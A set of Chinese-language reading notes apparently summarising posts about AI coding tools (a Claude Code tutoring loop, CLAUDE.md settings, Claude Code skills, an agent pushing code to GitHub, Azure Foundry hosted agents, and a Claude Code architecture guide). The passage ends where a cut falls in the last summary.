_1984 年，Bloom 提出一對一教學能讓學生成績超越 98% 的同儕，但礙於成本無法普及。40 年後，一位開發者利用 Claude Code 建立了一個開源系統，完美復現了一對一導師的核心機制：系統先生成大綱，每次只產出一篇教學檔。學生在檔案中標註不懂的地方 (`???`) 並作答思考題，AI 會讀取這些反饋，在下一篇文章中進行批改、解惑，並動態調整難度。這解決了傳統影片課程「無反饋、死板推進」的致命缺點。_
### 一句話
> 這不是普通的跟 ChatGPT 聊天。這個開源專案利用 Claude Code 讀寫本地檔案的能力，為你打造了一個極度嚴格的一對一 AI 導師。它教完一段後，強迫你在 Markdown 裡寫下哪裡不懂 (`???`) 還有回答課後題。它會批改你的錯誤，解答你的困惑，然後才為你量身打造下一課。它完美還原了「根據你的反應動態調整進度」的頂級家教體驗，破解了教育界 40 年來的未解之謎。
### 餐巾紙草圖
```text
[ AI 1-on-1 Tutoring Loop ]
1. Syllabus: AI creates skill-based outline.
2. Generate: AI writes 01.md (Concept + Questions).
3. Interact: Human reads -> adds "???" for confusion -> answers questions.
4. Adapt: Human says "done" -> AI reads feedback.
5. Generate Next: AI writes 02.md (Grades answers + Explains "???" + New adapted content).
=> Loops until Mastery -> Generates summary.md
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點 (Bloom's 2 Sigma Problem)**: 一對一教學具備「持續反饋」、「掌握學習(確保懂了才往下)」與「自適應難度」，效果遠勝課堂教學，但成本太高無法普及。
- **解決方案**: 基於 GitHub 上的開源專案 `Bloom-one-vs-one-study`。
- **運作機制 (6 步循環)**:
1. 生成具備「可驗證能力清單」的課程大綱 (`syllabus.md`)。
2. 生成第一篇包含概念、例子與思考題的教材。
3. **靈魂步驟**: 學生在不懂處標註 `???`，並作答思考題。
4. AI 讀取反饋，在下一篇文章中先批改、解惑，再推進新進度。
5. 全部掌握後，統整出知識圖譜與總結 (`summary.md`)。
6. 自動記錄學習日誌，讓知識與 AI 的記憶產生複利。
- **工具需求**: Anthropic 的 `Claude Code` CLI 工具（或 Cursor）加上任何一個 Markdown 編輯器。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **聊天視窗不利於系統性學習**: 一般使用 ChatGPT 學習，上下文容易丟失，且依賴人類的提問能力。這套系統逆轉了主動權：由 AI 制定框架並提問，人類負責閱讀與反饋，這才符合「導師帶領學生」的教育本質。
2. **非破壞性的微觀反饋**: 在文本中直接標記 `???` 是一個非常優雅的設計。它降低了提問的阻力（學生不需要總結自己為什麼不懂，只要標出不懂的地方即可），讓 AI 精準捕捉學生的認知斷層。
### 關鍵證據
- 文章展示了實際操作的截圖：AI 在 `02.md` 的開頭，用語氣溫和但嚴謹的態度，逐一評估了上一篇的思考題答案（✅❌⚠️），並針對 `???` 處進行了深入淺出的補充解釋。這種「閉環反饋」正是傳統線上課程做不到的。
### 邊界條件
- **學習者的主動性**: 這套系統雖然解決了適應性問題，但無法解決「人類的惰性」。傳統老師會盯著你寫作業，而在這套系統中，如果你草率作答或放棄繼續輸入「我讀完了」，學習進程就會終止。它提供的是頂級的教材，不是頂級的監督。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《SDD Writing Specifications for AI BDD》一文的精神：用具體的結構 (Markdown + 規定流程) 來約束 AI 的行為。也呼應了《ADLC 開發方式》，這個導師系統本身就是一個具有嚴謹 Behavior Contract 的 Agent 應用。
- **深層洞見**: **"40 年後的今天，你不需要一個真人導師。你需要的是一套設計良好的規則，和一個能執行這些規則的 AI。"** 教育的本質不是傳遞資訊，而是「除錯 (Debugging) 學習者的心智模型」。這套系統正是利用 LLM 強大的除錯能力，重塑了學習體驗。
- **行動呼籲**:
立刻安裝 Claude Code 並 clone 這個專案。挑選一個你一直想學但總是半途而廢的硬核知識（例如：期權定價模型、或 Rust 語言的生命週期），讓這個 AI 導師帶你走過一次「真正被理解」的學習循環。
開發工具
21 個 CLAUDE.md 必備設定：停止每次會話都在從零開始 (21 CLAUDE.md Settings)
"這是一本專為 Claude 使用者寫的「行為調教手冊」。作者強調 不只是工程師的玩具，它是任何長期使用 Claude 者的必備武器。文章給出 21 個精準的 Prompt 模塊：你可以要求 Claude「不准說廢話開場白」、「修改前必須先提供選項」、「碰到不懂的必須直接承認而非瞎掰」、「建立 MEMORY.md 記錄決策」，以及對開發者最重要的「未經許可絕對不准發布或修改不相關的程式碼」。"
---
tags: [開發工具, 工作流, Agent架構]
date: 2026-05-01
source: "20260512_2026-05-05T093950+0800-21 Things most claude users have Never Set Up and It's Costing them Hours Every Week.md"
---
# 21 個 CLAUDE.md 必備設定：停止每次會話都在從零開始 (21 CLAUDE.md Settings)
原始來源與檔名：20260512_2026-05-05T093950+0800-21 Things most claude users have Never Set Up and It's Costing them Hours Every Week.md
來源：[[@AnatoliKopadze]] / X (Twitter) — 2026-05-01
原始檔名：`2026-05-05T093950+0800-21 Things most claude users have Never Set Up and It's Costing them Hours Every Week.md` (與 `2026-05-05T094000+0800` 為重複檔案，合併處理)
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Claude's Default = Memory Loss + Generic Tone + "Helpful" Filler + Unwanted Over-editing.
> Fix = `CLAUDE.md` in project root.
> CLAUDE.md Sections = Communication Style + Personal Context + Memory/Continuity + Developer Constraints (Guardrails).
_很多人抱怨每次開新的 Claude 會話，都要重新解釋自己是誰、專案風格是什麼、不准用哪些框架。這篇文章總結了在 GitHub 上爆紅的 `CLAUDE.md` 配置指南。它提供了 21 條可以直接複製貼上的指令。無論你是作家、行銷還是工程師，只要在專案根目錄放上這個 Markdown 檔，Claude 就會自動讀取它，從此消滅廢話開場白、鎖定你的個人寫作風格、建立跨會話的記憶日誌 (MEMORY.md)，甚至防止 Agent 擅自刪除你的程式碼。_
### 一句話
> 這是一本專為 Claude 使用者寫的「行為調教手冊」。作者強調 `CLAUDE.md` 不只是工程師的玩具，它是任何長期使用 Claude 者的必備武器。文章給出 21 個精準的 Prompt 模塊：你可以要求 Claude「不准說廢話開場白」、「修改前必須先提供選項」、「碰到不懂的必須直接承認而非瞎掰」、「建立 MEMORY.md 記錄決策」，以及對開發者最重要的「未經許可絕對不准發布或修改不相關的程式碼」。
### 餐巾紙草圖
```text
[ The Power of CLAUDE.md ]
Without CLAUDE.md (Session 100):
User: "Fix this."
Claude: "Certainly! I'd be happy to help you with that! Here is a completely refactored version of your entire file using a framework you don't use."
With CLAUDE.md:
User: "Fix this."
Claude: (Reads CLAUDE.md silently -> Kills filler -> Scopes to exact bug -> Uses tech stack constraint)
Claude: "Fixed line 42. I did not touch the imports."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **為什麼需要 CLAUDE.md**: Claude 預設是失憶的。沒有它，你每天都在重複解釋你的背景與偏好。
- **溝通風格 (Communication)**:
- 殺掉廢話 (Kill the filler)：禁止說 "Great question!"。
- 先給選項 (Options first)：在動手大改前，先給出 2-3 個方向讓用戶選。
- 承認無知：禁止用聽起來合理的幻覺填補知識空白。
- 動態長度：簡單問題短回答，複雜任務長回答，禁止強行總結。
- **行為邊界 (Behavior)**:
- 變更前詢問：大改文章或程式前必須先確認。
- 專注目標：只改被要求改的地方，不准順手 "優化" 其他內容。
- 總結變更：每次輸出必須說明「改了什麼、沒改什麼」。
- 外部隔離：不准擅自發送 Email 或發布文章。
- **個人上下文 (Context)**:
- 鎖定身份：你是誰、懂什麼、不懂什麼（避免過度解釋基礎知識）。
- 鎖定專案：目標受眾是誰、語氣為何。
- 鎖定文風：你的專屬詞彙、句子長度偏好。
- **跨會話記憶 (Memory & Continuity)**:
- 建立 `MEMORY.md` 記錄重大決策。
- 建立 `ERRORS.md` 記錄失敗的 Prompt 嘗試，避免重複踩坑。
- **給開發者的護欄 (Developer Specifics)**:
- 絕對範圍控制：不准亂改不相干的程式碼。
- 破壞性操作攔截：刪檔或 Drop DB 前必須拿到 explicit yes。
- 鎖定技術棧：規定只准用哪些套件，避免它推薦最流行但不相容的框架。
- Karpathy 的 4 大法則：不懂就問、最簡方案優先、不碰無關代碼、明確標示不確定性。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 禮貌的代價**: Claude 被訓練成極度「樂於助人 (Helpful)」。這種對齊 (Alignment) 導致了嚴重的廢話問題與「過度服務 (Over-editing)」。在工業級的日常使用中，這種過度服務會破壞使用者原本的架構。`CLAUDE.md` 的本質，就是用 System Prompt 來「反向對齊 (Un-align)」，剝除它討好人類的行為，讓它變回冷酷精準的工具。
2. **文本持久化的力量**: Claude 雖然沒有內建跨 Session 記憶，但它能讀寫檔案系統！利用這點，指令 12-14 創造了「實體記憶 (MEMORY.md / ERRORS.md)」。這是對大模型 Stateless (無狀態) 缺陷最聰明的 Hack。
### 關鍵證據
- 引用了前 Tesla AI 總監 Andrej Karpathy 總結的 4 條讓 Agent 寫 code 準確率從 65% 提升到 94% 的神級規則：Ask don't assume (不懂就問), Simplest solution first (最簡方案優先), Don't touch unrelated code (不碰無關代碼), Flag uncertainty explicitly (標示不確定性)。
### 邊界條件
- 如果你把這 21 條全部塞進 `CLAUDE.md`，檔案會變得極大。如後續文章所警告的，過度膨脹的 CLAUDE.md 會造成嚴重的 Token 消耗 (Overhead)。因此作者也建議：**不要全抄，先挑 3-4 條最痛的放進去就好。**
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《The 5-Layer Architecture》中的第一層 (Memory Layer)。這篇提供了實作這一層的具體 Prompt 內容。也成為了下一篇《優化 Token 消耗陷阱》中反思的起點（當 CLAUDE.md 寫得太長時會發生什麼事）。
- **深層洞見**: **"Confidence without certainty causes more damage than admitting a gap." (沒有把握的自信，比承認無知造成更大的破壞)。** AI 最可怕的不是變笨，而是它一臉自信地把你的資料庫刪除，或是憑空捏造一個不存在的 API 參數。護欄設計，是高階 AI 使用者的必修課。
- **行動呼籲**:
立刻開啟編輯器，建立你的 `CLAUDE.md`。如果你不知道寫什麼，就把這段放進去：`"Never open responses with filler phrases. Start every response with the actual answer. Only modify code directly related to the task."` 光是這三句話，就能讓你的開發效率提升 30%。
開發工具
400 小時實戰淬鍊：Claude Code 最強的 6 個自動化 Skill (Top Claude Code Skills)
"如果你覺得你的 Claude 寫扣寫到一半會變笨，那是因為你沒裝這 6 個外掛。這篇文章是一份 Agentic Workflow 的終極裝備清單：用 讓 AI 自己寫外掛；用 強制它先規劃再動手；用 替每個任務開乾淨的子視窗防污染；用 壓縮無用的 Terminal 雜訊；最後用 讓它永遠記住這個專案的歷史。"
---
tags: [開發工具, Agent架構, 實戰教學]
date: 2026-05-03
source: "20260512_2026-05-05T094116+0800-I Tried 100+ Claude Code Skills. These 6 Are The Best.md"
---
# 400 小時實戰淬鍊：Claude Code 最強的 6 個自動化 Skill (Top Claude Code Skills)
原始來源與檔名：20260512_2026-05-05T094116+0800-I Tried 100+ Claude Code Skills. These 6 Are The Best.md
來源：[[@nateherk]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094116+0800-I Tried 100+ Claude Code Skills. These 6 Are The Best.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Top Agent Stack = Skill Creator (Factory) + Superpowers (Process) + GSD (Clean Context) + Review (Safety) + Context Mode (Compression) + Claude Mem (Persistence).
> Output = Reliable, sellable automation workflows with zero context rot.
_這是一篇極具實戰價值的 Agent 工具評測。作者在 Claude Code 中投入超過 400 小時，為房地產、冷氣維修、行銷等不同產業建立自動化流程。在測試了上百個 Skill 之後，他篩選出 6 個真正能解決「代理人崩潰 (Context Rot)」、「偷工減料 (Rushed Code)」與「失憶 (Amnesia)」的必備核心外掛。這些不是花俏的展示，而是真正能用來賺錢的工業級工具。_
### 一句話
> 如果你覺得你的 Claude 寫扣寫到一半會變笨，那是因為你沒裝這 6 個外掛。這篇文章是一份 Agentic Workflow 的終極裝備清單：用 `Skill Creator` 讓 AI 自己寫外掛；用 `Superpowers` 強制它先規劃再動手；用 `GSD` 替每個任務開乾淨的子視窗防污染；用 `Context Mode` 壓縮無用的 Terminal 雜訊；最後用 `Claude Mem` 讓它永遠記住這個專案的歷史。
### 餐巾紙草圖
```text
[ The Professional Claude Code Stack ]
(1) Build: Skill Creator -> Writes your automations naturally
(2) Plan: Superpowers -> Forces planning & testing before coding
(3) Focus: GSD -> Spawns clean sub-agents (prevents context rot)
(4) Check: /review -> Catches bugs before merging
(5) Clean: Context Mode -> Sandboxes commands, injects only 5KB of useful output
(6) Store: Claude Mem -> Auto-generates local SQLite vector memory for next week
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **The Factory: Skill Creator**: 自動將自然語言轉換為標準的 `skill.md`，省去人工寫外掛的麻煩。
- **The Process: Superpowers**: 解決 AI「急於寫扣」的失敗模式。強制要求它先規劃、寫測試、在隔離環境開發，最後自我審查（雙階段 Review）。
- **The Clean Room: GSD (Get Shit Done)**: 解決「上下文腐敗 (Context rot)」。為每個子任務生成乾淨的 Sub-agent，避免大 Session 到後期忘記初始需求。
- **The Safety Net: /review & /ultra-review**: 內建功能。局部與雲端平行的程式碼審查，只挑出能被證實的 Bug，不挑程式碼風格的毛病。
- **The Compressor: Context Mode**: 解決 Terminal 輸出污染。將長達 56KB 的日誌壓縮成 155 bytes。並在 Session 壓縮時重建快照，保持狀態不遺失。
- **The Memory: Claude Mem**: 解決跨 Session 失憶。自動攔截事件寫入本地 SQLite，下一次打開專案時，精準載入歷史進度與決策紀錄。
- **Bonus**: 官方的 Frontend Design skill。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Context 是最稀缺的資源**: 列表中有一半的工具（GSD, Context Mode, Claude Mem）都是為了解決同一個問題——**Context Management**。作者精準指出，AI 變笨不是因為智商下降，而是因為上下文塞滿了 Playwright 快照或 Log 垃圾。只有做好壓縮與隔離，AI 才能持久運作。
2. **紀律勝過智力**: Superpowers 和 `/review` 的本質，是將資深工程師的「紀律」硬塞給 AI。AI 可以一秒寫出 1000 行代碼，但商業交付需要的是「不出錯的 100 行代碼」。強制規劃與強制測試，就是提升自動化價值的核心。
### 關鍵證據
- 作者列出了 Context Mode 的具體壓縮數據：56KB 的 Playwright 截圖日誌被壓縮成 299 bytes；一整個 315KB 的 Session 被壓縮到 5KB。這是極度有說服力的工程優化。
### 邊界條件
- **Token 成本**: 這些外掛（特別是 GSD 的 Sub-agent 模式和 Superpowers 的雙階段審查）會顯著增加 Token 消耗。作者認為「花 Token 買穩定度」是值得的，但對於低預算或純探索性的專案，可能需要謹慎開啟。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應《Agent Memory Engineering》一文。這篇文章推薦的 `Claude Mem` 外掛，正是解決了那篇文章中提到的「冷啟動 (Cold Start)」與跨 Session 記憶問題，而 `GSD` 則是實踐了「分離執行環境」的系統工程原則。
- **深層洞見**: **"Stop selling the workflow. Sell the outcome." (停止販賣工作流，去販賣結果)。** 這句話點醒了所有 AI 開發者。中小企業老闆根本不在乎你用了哪個模型或外掛，他們只在乎「這套系統能不能每週幫我省下 10 小時」。工具是你的後台，省時是你的賣點。
- **行動呼籲**:
立刻在你的終端機裡執行 `/plugin install superpowers@claude-plugins-official` 和 `npx get-shit-done-cc --claude --global`。在下一次的開發任務中，體驗「強制規劃」與「乾淨子代理」帶來的穩定感。
開發工具
AI 徹底接管程式碼倉庫：讓 Hermes Agent 一鍵推上 GitHub (Hermes Agent GitHub Push)
"開發流程正在被極致壓縮。這篇文章展示了 Hermes Agent 強大的環境控制能力。只要你在 中設定了 ，並給予 Hermes 終端機權限，你甚至不需要知道程式碼存在電腦的哪個資料夾，只要一句「把剛才寫的程式推上 GitHub」，Agent 就會自動完成從初始化到遠端推送的所有版控雜活。這是 Agentic Workflow 最迷人的縮影：人類只負責下達意圖，AI 負責搞定所有繁瑣的執行細節。"
---
tags: [開發工具, Agent架構, 工作流]
date: 2026-05-03
source: "20260512_2026-05-05T094025+0800-Hermes Agent 一键推代码上 GitHub：AI 彻底接管代码仓库.md"
---
# AI 徹底接管程式碼倉庫：讓 Hermes Agent 一鍵推上 GitHub (Hermes Agent GitHub Push)
原始來源與檔名：20260512_2026-05-05T094025+0800-Hermes Agent 一键推代码上 GitHub：AI 彻底接管代码仓库.md
來源：[[@PierceZhang34]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094025+0800-Hermes Agent 一键推代码上 GitHub：AI 彻底接管代码仓库.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Effortless Deployment = AI Coder (Hermes) + GitHub Token + Natural Language Command.
> Traditional Flow: Write Code -> `git init` -> `git add` -> `git commit` -> `git push`.
> Agent Flow: "Build a dashboard and push it to my Github repo."
_這是一篇輕量級的自動化實戰分享。作者描述了他在完全不碰程式碼、甚至不敲任何 git 指令的情況下，透過對話讓 Hermes Agent 寫出一個 OKX 資產監控儀表板，並讓 Agent 自行完成 `git init`, `git commit`, 到推送到 GitHub 的全過程。文章也介紹了如何配置 GitHub Token 以及建議安裝 `gh CLI` 來解鎖更強大的 GitHub 平台操作能力（如發 PR、開 Issue）。_
### 一句話
> 開發流程正在被極致壓縮。這篇文章展示了 Hermes Agent 強大的環境控制能力。只要你在 `.env` 中設定了 `GITHUB_TOKEN`，並給予 Hermes 終端機權限，你甚至不需要知道程式碼存在電腦的哪個資料夾，只要一句「把剛才寫的程式推上 GitHub」，Agent 就會自動完成從初始化到遠端推送的所有版控雜活。這是 Agentic Workflow 最迷人的縮影：人類只負責下達意圖，AI 負責搞定所有繁瑣的執行細節。
### 餐巾紙草圖
```text
[ Traditional Dev ] vs [ Agent-Driven Dev ]
User -> Code Editor User -> Chat ("Make a dashboard and push it")
User -> Terminal |
User -> `git status` Hermes -> Writes code
User -> `git commit` Hermes -> Runs tests
User -> `git push` Hermes -> Authenticates via GITHUB_TOKEN
User -> GitHub UI Hermes -> Executes `git push` -> Done.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **場景重現**: 躺在沙發上刷手機，讓 Hermes Agent 寫出加密貨幣資產看板，並直接推上 GitHub。全程零手寫程式、零 git 指令。
- **操作步驟**:
1. 在聊天視窗下達自然語言指令：「你可以把代碼自動上傳到 github 嗎？」。
2. 到 GitHub 設定頁面產生一組具有 `repo` 權限的 Personal Access Token。
3. 將 Token 貼給 Hermes，或配置於 `.hermes/.env` 中 (`GITHUB_TOKEN=your_github_token`)。
- **進階工具推薦 (`gh CLI`)**:
- 一般的 `git` 指令只能處理基本的 clone, push, pull。
- 建議讓 Agent 搭配使用 GitHub 官方的 `gh CLI`。
- 功能擴充：`gh pr create` (建 PR), `gh issue create`, `gh api`。這讓 Agent 不只接管了本地代碼，更接管了遠端專案管理流程。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **抽象層的提升 (Raising the Abstraction Layer)**: 開發者與系統互動的抽象層正在從「語法層 (Syntax/Commands)」提升至「意圖層 (Intent)」。當 Agent 具備了操作 CLI 的能力，`git` 指令的複雜度對使用者而言就不復存在。
2. **工具鏈賦能 (Toolchain Empowerment)**: 文章特別提到 `gh CLI`。這揭示了 Agent 的能力邊界取決於它能呼叫的工具。當給予 Agent 純 `git` 時，它只是個代碼儲存員；當給予 Agent `gh CLI` 時，它就變成了專案管理員，可以幫你審查 PR 和管理 Issue。
### 關鍵證據
- 雖然文章被作者自嘲為「有些水」，但它證明了一個核心趨勢：工具的摩擦力正在歸零。透過分享實際推上去的 GitHub 小號倉庫連結，證明了這套工作流的絕對可行性。
### 邊界條件
- **安全性隱患**: 授權 Agent 一個具備寫入權限的 GitHub Token，且允許它自動 `commit` 和 `push`，在企業級環境中是極度危險的（可能引發供應鏈攻擊或機密外洩）。這對應了先前《21 個 CLAUDE.md 必備設定》中提到的「破壞性操作必須要求人類明確確認 (Hard Stops)」的護欄原則。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文完美印證了《Agent-Native CLIs》中的觀點。`gh CLI` 就是一個絕佳的 Agent-Native 工具，因為它提供了豐富的子指令和 API，讓 Agent 可以直接以 JSON 格式獲取 PR 狀態。
- **深層洞見**: **我們正在從「人類使用工具」過渡到「Agent 使用工具，人類使用 Agent」。** 這意味著未來優秀的軟體，不一定要有華麗的 GUI，但一定要有強大且清晰的 CLI 介面，因為它們的終端使用者將不再是人類，而是 Hermes、Claude Code 這類 Agent。
- **行動呼籲**:
如果你還在手動敲打 `git add .` 和 `git commit -m "update"`，請立刻在你的 `.env` 中配置 GitHub Token，並嘗試在下一次改版時，直接對你的 AI 助理說：「整理目前的變更，寫一個好懂的 commit message，然後幫我 push」。感受一次摩擦力歸零的體驗。
開發工具
Azure Foundry Hosted Agents 實戰入門：讓子 Agent 化身為工具
"不要讓你的 Agent 互相把客戶「踢皮球」。如果你有一個前台 Agent 和幾個後端專家 Agent，最好的設計模式是把專家 Agent 包裝成「工具 (Tools)」：前台決定何時呼叫專家，專家在背景查完資料後交給前台，由前台統一回覆客戶，這樣能保證對話語氣的一致性。在微軟的架構下，只需一行代碼 就能搞定。寫好後，加上一個監聽 8088 埠的 Dockerfile，你就能把它一鍵部署到 Azure Foundry，自動享有完整的企業級權限控管與監控追蹤。"
---
tags: [開發工具, 實戰教學]
date: 2026-05-03
source: "20260512_2026-05-06T095712+0800-Getting Started with Foundry Hosted Agents.md"
---
# Azure Foundry Hosted Agents 實戰入門：讓子 Agent 化身為工具
原始來源與檔名：20260512_2026-05-06T095712+0800-Getting Started with Foundry Hosted Agents.md
來源：[[Valentina Alto]] / Medium — 2026-05-03
原始檔名：`2026-05-06T095712+0800-Getting Started with Foundry Hosted Agents.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Orchestration: Multi-Agent Handoff vs. Agents as Tools.
> Agents as Tools Pattern = 1 Concierge (Face) + N Specialists (Wrapped as functions via `agent.as_tool()`).
> Foundry Hosted Agents = Dockerfile + agent.yaml + Port 8088 (OpenAI Responses Protocol).
_這是一篇關於如何在 Microsoft Azure Foundry 環境中部署 AI Agent 的實戰教學。作者延續了之前的「AI 旅行社」範例，但這次她拋棄了傳統的「Multi-agent Handoff (多代理交接)」模式，改用語法更簡潔、對話體驗更一致的「Agents as Tools (將代理作為工具)」模式：客戶只與一位「前台禮賓員 (Concierge)」對話，而「航班專家」與「飯店專家」則被包裝成普通的 Function Tool 供禮賓員隨時呼叫。最後，文章展示了如何透過簡單的 Dockerfile 與 `agent.yaml`，將這個 MAF (Microsoft Agent Framework) 應用程式部署為標準的 Hosted Agent API。_
### 一句話
> 不要讓你的 Agent 互相把客戶「踢皮球」。如果你有一個前台 Agent 和幾個後端專家 Agent，最好的設計模式是把專家 Agent 包裝成「工具 (Tools)」：前台決定何時呼叫專家，專家在背景查完資料後交給前台，由前台統一回覆客戶，這樣能保證對話語氣的一致性。在微軟的架構下，只需一行代碼 `agent.as_tool()` 就能搞定。寫好後，加上一個監聽 8088 埠的 Dockerfile，你就能把它一鍵部署到 Azure Foundry，自動享有完整的企業級權限控管與監控追蹤。
### 餐巾紙草圖
```text
[ Agents as Tools Pattern ]
Instead of Hand-offs: (User -> Concierge -> FlightAgent -> HotelAgent -> User)
Use Tools Topology:
[ USER ] <---> [ Concierge Agent ]
│ (Calls tools when needed)
├──> Tool: flight_assistant.as_tool()
└──> Tool: hotel_assistant.as_tool()
[ Foundry Deployment ]
Code + Dockerfile (EXPOSE 8088) + agent.yaml --> Azure Foundry Agent Service
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **目標**: 將一個基於 Microsoft Agent Framework (MAF) 建構的「AI 旅行社」部署到 Azure Foundry Agent Service 上。
- **架構設計轉變 (Agents as Tools)**:
- 放棄了「Handoff (交接)」模式，改採「工具模式」。
- 只有一個對外窗口：Concierge Agent。
- Flight Specialist 與 Hotel Specialist 被宣告為獨立的 Agent，但透過 `agent.as_tool()` 將自己偽裝成普通的函數工具，放入 Concierge 的 `tools=[]` 陣列中。
- **優點**: 聲音一致、沒有循環交接的死鎖問題，同時底層的 Tracing 依然能精準紀錄哪個子 Agent 做了什麼事。
- **本地端測試**:
- 透過一個輕量級的 HTTP Adapter 封裝，讓 Agent 監聽 `localhost:8088` 並遵循 OpenAI Responses Protocol。
- 使用 VS Code 的 Foundry extension 進行視覺化的 Agent Inspector 偵錯。
- **部署到 Foundry (Hosted Agent)**:
- 需要兩個檔案：`Dockerfile` (建置環境並開放 8088 埠) 與 `agent.yaml` (定義 Metadata)。
- 部署後即可獲得標準化的端點 (Endpoint)、企業級的治理 (RBAC、身份驗證)、以及自動化的遙測 (App Insights)。
- **消費模式**:
- 整合到 Microsoft 365 Copilot 或 Teams (無須撰寫前端)。
- 透過 API 介接到自定義的前端 APP。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Handoff vs Tools 的抉擇**: 在多代理系統中，Handoff 容易讓對話失去上下文，且一旦進入死循環（Agent A 把任務丟給 B，B 又丟回 A）很難除錯。將 Sub-agents 降級為 Tools，讓主 Agent 保留對狀態和對話語氣的絕對控制權，是一種更強健的架構選擇。
2. **標準化協定的力量**: Foundry 並不綁定 MAF。只要你的 Docker 容器能在 8088 埠上說出標準的 OpenAI Responses Protocol，裡面裝的是 LangGraph、AutoGen 還是你自己寫的 `while True` 迴圈都無所謂。這種解耦設計才是企業級 PaaS 該有的樣子。
### 關鍵證據
- 程式碼展示了 MAF 中的優雅設計：`tools=[flight_assistant.as_tool(), hotel_assistant.as_tool()]`。這行代碼完美抹平了「呼叫一個簡單的加法函數」與「呼叫一個背後有完整 LLM 推理邏輯的子代理」之間的介面差異。
### 邊界條件
- **何時不該用 Hosted Agents**: 如果你需要極端特殊的底層硬體資源，或是完全不希望資料流經微軟的網路控制面，那麼這篇提到的 Hosted Path 就不是首選，你必須退回到 Self-Hosted Path (自行管理 K8s)。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Building an AI Agent from Scratch》一文對架構的解構。這篇文章展示的 Hosted Agent，本質上就是把我們自己寫的 Agent Loop 打包進 Docker，然後套上一個遵循 OpenAPI 協定的 Adapter，讓外部系統（如 Foundry）可以直接呼叫。
- **深層洞見**: **"The conversation has one consistent voice. There are no cycles to terminate... you don't lose any observability by collapsing the topology." (對話擁有一致的聲音。沒有需要終止的循環... 你不會因為扁平化拓撲結構而失去任何可觀測性。)** 在多 Agent 協作中，「擬人化」往往是個陷阱。我們不需要讓三個 Agent 像開會一樣七嘴八舌，我們只需要一個聰明的大腦，把另外兩個 Agent 當作 API 來呼叫就好。
- **行動呼籲**:
如果你正在設計多 Agent 系統，請立即停止撰寫複雜的「Handoff」邏輯。重構你的架構，指定一個主 Agent 作為唯一的對外窗口，將其他所有的輔助 Agent 轉換為 Tool。這不只會讓你的對話體驗大幅提升，還能避免無窮迴圈造成的 Token 破產。
開發工具
Claude Code 深度解析：從底層架構到實戰最佳實踐
"Claude Code 為什麼這麼強？因為它不假裝自己是全知全能的魔法師，而是扮演一個手上拿著終端機的資深工程師。它遇到 Bug 不是盲目猜測，而是自己下 查 Log、看 歷史。你要掌握它，就要懂它的術語：用 做一次性快攻，用 建立複雜的標準作業流程，遇到大專案就切換到 開多線程。最重要的是，善用 ，把你的專案規則寫清楚，它就會自動變成你最強的副手。"
---
tags: [開發工具, 實戰教學]
date: 2026-05-05
source: "20260512_2026-05-06T095641+0800-Adventures in Claude Code land.md"
---
# Claude Code 深度解析：從底層架構到實戰最佳實踐
原始來源與檔名：20260512_2026-05-06T095641+0800-Adventures in Claude Code land.md
來源：[[Allohvk]] / Medium — 2026-05-05
原始檔名：`2026-05-06T095641+0800-Adventures in Claude Code land.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Claude Code = Agentic Loop (While true) + Deterministic Bash Tools (grep, ls) + LLM Intelligence.
> Architecture: Main Thread <-> Sub-Agents (Isolated Context).
> Tooling: Commands (Quick Actions) vs. Skills (Complex Workflows with Progressive Disclosure) vs. Hooks (Deterministic checks).
_這是一篇對 Anthropic 開發的神級終端工具「Claude Code」極其詳盡的架構與操作指南。Claude Code 的成功在於它沒有搞華而不實的 Semantic Search (語義搜索)，而是讓 AI 像真正的資深工程師一樣，使用 `grep`、`git log` 等決定性 (Deterministic) 工具來探索程式碼庫，這大幅節省了 Token 並減少幻覺。文章剖析了其核心元件：CLAUDE.md 的上下文管理、Command 與 Skill 的差異、Sub-Agent 的並行工作，以及如何在生產環境中無頭 (Headless) 部署 Claude Agent SDK。_
### 一句話
> Claude Code 為什麼這麼強？因為它不假裝自己是全知全能的魔法師，而是扮演一個手上拿著終端機的資深工程師。它遇到 Bug 不是盲目猜測，而是自己下 `grep` 查 Log、看 `git` 歷史。你要掌握它，就要懂它的術語：用 `Commands` 做一次性快攻，用 `Skills` 建立複雜的標準作業流程，遇到大專案就切換到 `Sub-agents` 開多線程。最重要的是，善用 `CLAUDE.md`，把你的專案規則寫清楚，它就會自動變成你最強的副手。
### 餐巾紙草圖
```text
[ Claude Code Architecture ]
User -> CLI / IDE
│
▼
[ Agentic Loop ]
1. Gather Context (grep, ls, AST, git)
2. Reason (Opus/Sonnet)
3. Act (Edit, bash)
4. Verify (Tests/Hooks)
│
├──> [ Commands ] (Quick, /compact)
├──> [ Skills ] (Complex, multi-step manuals)
├──> [ Sub-Agents ] (Parallel, isolated context)
└──> [ Tools / MCP ] (External integrations)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
